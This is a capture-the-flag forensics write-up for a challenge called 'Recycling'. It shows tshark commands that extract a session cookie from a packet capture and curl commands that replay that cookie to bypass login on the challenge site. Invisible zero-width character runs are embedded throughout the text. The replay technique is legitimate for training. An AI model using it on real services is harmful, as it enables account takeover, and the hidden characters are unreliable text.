Recycling

Platform: undutmaning | Category: Forensics | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-03-21 | Status: Solved Techniques: cookie_extraction, pcap_analysis, session_replay

Summary

Task: PCAP capture with HTTP traffic to a web interface requiring authentication. Solution: Extract session cookie from PCAP and replay it on the live site to bypass login and access the secret page.

Recycling — Undutmaning

Description

En av CASCADAs små miniubåtar har i brist på kommunikation med hemmabasen förirrat sig iväg på egen hand ut på djupare vatten. Forskarna är oroliga för sin lilla ögonsten. Ubåten har samlat in viktiga mätvärden i veckor och var dessutom löjligt dyr!

Genom ett nödsystem har man till sist lyckats etablera kontakt med ubåten över ett provisoriskt nätverk, så nu kan forskarna åtminstone komma åt ubåtens statusinterface. Tyvärr har man stött på ett problem. Ingen minns lösenordet!

En av anläggningens systemadministratörer har lyckats gräva fram lite gammal trafikdata och kanske finns det något där man kan använda för att återställa accessen till systemet.

Kan du hjälpa CASCADAs forskare att stilla sin oro?

Du kan surfa in till ubåtens statusinterface på https://undutmaning-recycling.chals.io ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A CASCADA mini submarine lost contact with home base. Researchers can now access its status interface but forgot the password. A sysadmin found old traffic data (PCAP) that might help restore access. Goal is to bypass authentication using information from the PCAP capture.

Analysis

The challenge provides:

• A PCAP file (11.7 MB, Linux cooked capture format)
• A live web interface with a login form (Werkzeug/3.1.4 Python/3.11.14)

The task name "Recycling" strongly hints at reusing something from the old traffic data. In web authentication contexts, this typically means session cookies or credentials. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analyzing the PCAP with tshark reveals HTTP traffic to x32.cascada.ex:8008 - the submarine's internal status interface. The traffic includes requests to /, /stats, and /static/* endpoints.

Key finding: HTTP headers contain a session cookie SECRET=token_wY0aHRM6gqVjEZF1yC92nKxL that was used for authenticated sessions.

Solution

Step 1: Analyze PCAP for HTTP traffic

 bash read-only • copy allowed Copy
# Check HTTP hosts and endpoints
tshark -r dump.pcap -Y "http" -T fields -e http.host -e http.request.method -e http.request.uri 2>/dev/null | sort -u

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Extract session cookies

 bash read-only • copy allowed Copy
# Find all cookies in HTTP traffic
tshark -r dump.pcap -Y "http" -T fields -e http.cookie -e http.set_cookie 2>/dev/null | grep -v "^$"

# Look for specific cookie usage
tshark -r dump.pcap -Y "http.cookie contains SECRET" -T fields -e frame.number -e http.host -e http.request.uri -e http.cookie

Found cookie: SECRET=token_wY0aHRM6gqVjEZF1yC92nKxL

Step 3: Replay session on live site

 bash read-only • copy allowed Copy
# Test if the old session cookie still works
curl -s -b "SECRET=token_wY0aHRM6gqVjEZF1yC92nKxL" "https://undutmaning-recycling.chals.io/"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The cookie successfully bypasses authentication, revealing a navigation menu with links to /stats and /secret ("Hemlig sida" = Secret page).

Step 4: Access secret page

 bash read-only • copy allowed Copy
curl -s -b "SECRET=token_wY0aHRM6gqVjEZF1yC92nKxL" "https://undutmaning-recycling.chals.io/secret"

The flag is displayed on the secret page. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍